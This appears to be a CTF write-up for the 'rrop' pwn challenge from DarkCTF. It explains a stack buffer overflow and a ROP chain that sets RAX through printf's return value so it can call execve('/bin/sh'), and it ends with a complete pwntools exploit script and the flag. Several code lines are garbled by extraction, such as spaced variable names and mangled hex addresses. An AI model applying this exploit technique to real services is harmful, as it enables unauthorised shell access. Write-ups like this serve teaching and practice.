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Readme.md

rrop

Writeup for Global Warming (Pwn) Challenge

Info

Description: You came this far using Solar Designer technique and advance technique, now you are into the gr4n173 world where you can't win just with fake rope/structure but here you should fake the signal which is turing complete.

File: rrop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=9031d67e25112061a3f59a630a4da011a25bd4df, not stripped

Checksec:

Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled

PIE: No PIE (0x400000)

14 days ago

Analysis

This is the decompilation code of the binary.

The main takes 0x1388 bytes from stdin into a 0xD0 buffer. Classic Buffer Overflow Vulnerability and it prints the start address of our buffer.

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
   char buf; // [rsp+0h] [rbp-D0h]

   nvm_init(*(_QWORD *)&argc, argv, envp);
   nvm_timeout();
   printf(
      "Hello pwners, it's gr4n173 wired machine.\n"
      "Can you change the behaviour of a process, if so then take my Buffer @%p, from &buf);
   read(0, &buf, 0x1388);
   return 0;
}
```

There is a function named UsefulFunction which provides us with a **syscall**; **ret** gadget. So lets try to create a execve rop chain.

Exploit

```
Name : execve
rax : 0x3b
rdi : const char *name -> pointer to /bin/sh
rsi : const char *const *argv -> "-c"
rdx : const char *const *envp -> Null
```

We need to accomplish this by creating a ROP chain. Looking at gadgets i did not find any gadget which can control rax. So i used some fancy ROP trick. First let us write the string "/bin/sh" to bss address. We can do that by calling read on bss address.

```
padding = 'a' * 216
```

This rop chain will write "/bin/sh" to bss_addr and return to main once again nothing special here, Just some basic ROP technique:)

Controlling RAX Register

So lets debug the binary with gdb. I have setup a breakpoint in the print statement [0x40081A].

Step one instruction.

So why is RAX -> 0x9f? This is what the binary printed.

```
>>> hex(len("Hello pwners, it's gr4n173 wired machine.\nCan you change the
behaviour of a process, if so then take my Buffer @0x7ffe3a4f6130, from some
part of my process.\n"))
==> '0x9f'
```

RAX stores the return value and the return value here is 0x9f the strlen of the contents printed to stdout. So we can call printf to print 0x3b characters to set RAX to our desired value. Basically this is what we will be doing <code>printf("%59c")</code> this will print 59 bytes of white spaces thereby setting the RAX to 0x3b. So lets also write "%000059c" at the bss and call printf with RDI -> pointer to our string and RSI -> NuLL.

```
write_bin_sh = flat([
   padding,
   ret,
   pop_rdi,
   0x0,
   pop_rsi_r15,
   bss_addr,
   0xdeadbeef,
   exe.sym['read'],
   exe.sym['main']

])

io.recvline()
io.recvline()
io.sendline(write_bin_sh)
```

```
io.sendline("%000059c\x00\x00\x00\x00\x00\x00\x00\x00/bin/sh\x00") # write \%000059c
io.recvline()
io.recvline()
printf fmt = bss addr
                            # %000059c
null char = bss addr + 8
                           # Null chars
bin_sh = bss_addr + 16
                       # /bin/sh
set_rax = flat([
  padding,
  pop_rdi,
  printf_fmt,
  pop_rsi_r15,
  null char,
  0xdeadbeef,
  exe.sym['printf'],
  0xdeadbeef
                            # return to 0xdeadbeef... basically seg faulting after o
])
io.send(set rax)
io.recv()
```

Summing up all together and executing shell

Now that we have set RAX to 0x3b, We can do a pop rdi and place the bin_sh string to it and pop rsi and set it to NuLL.

```
setup_execve = flat([
  pop_rdi,
  bin_sh,
  pop_rsi_r15,
  0x0,
  0x0,
  syscall_ret
])
```

Breakpoint at syscall

We can see that the RDX is already NuLL. I did not notice this during the CTF and i used _ret2csu_ to control RDX. It is a cool technique. You can find detailed explaination on ret2csu here :-

Research paper: https://i.blackhat.com/briefings/asia/2018/asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR-wp.pdf Youtube video: https://www.youtube.com/watch?v=mPbHroMVepM Practise Challenge: https://ropemporium.com/challenge/ret2csu.html

The complete exploit script.

```
#!/usr/bin/python
io = remote('rrop.darkarmy.xyz', '7001')

pop_rdi = 0x00000000004008b3
ret = 0x00000000004005b6
bss addr = 0x6011a0
```

```
syscall ret = 0 \times 000000000004007d2
pop rsi r15 = 0 \times 000000000004008b1
padding = 'a' * 216
write_bin_sh = flat([
  padding,
  ret,
  pop_rdi,
  0x0,
  pop_rsi_r15,
  bss_addr,
  0xdeadbeef,
  exe.sym['read'],
  exe.sym['main']
])
io.recvline()
io.recvline()
io.sendline(write_bin_sh)
io.sendline("%000059c\x00\x00\x00\x00\x00\x00\x00\x00\x00")
io.recvline()
io.recvline()
printf_fmt = bss_addr
null char = bss addr + 8
bin_sh = bss_addr + 16
set_rax = flat([
  padding,
  pop_rdi,
  printf fmt,
  pop_rsi_r15,
  null_char,
  0xdeadbeef,
  exe.sym['printf'],
  ret
])
setup_execve = flat([
  pop_rdi,
  bin_sh,
  pop_rsi_r15,
  0x0,
  0x0,
```

```
syscall_ret
])
exploit = set_rax + setup_execve
io.send(exploit)
io.recv()
io.interactive()
```

Flag : darkCTF{f1n4lly_y0u_f4k3_s1gn4l_fr4m3_4nd_w0n_gr4n173_w1r3d_m4ch1n3}



This is when i realised that i solved the challenge in an Unintended way. Anyways i liked the challenge and the CTF was really good Kudos to team Dark Army. My team Zh3r0 ranked 4th in the CTF.

Zh3r0: https://ctftime.org/team/116018

Dark Army: https://ctftime.org/team/26569 Dark CTF: https://ctftime.org/event/1118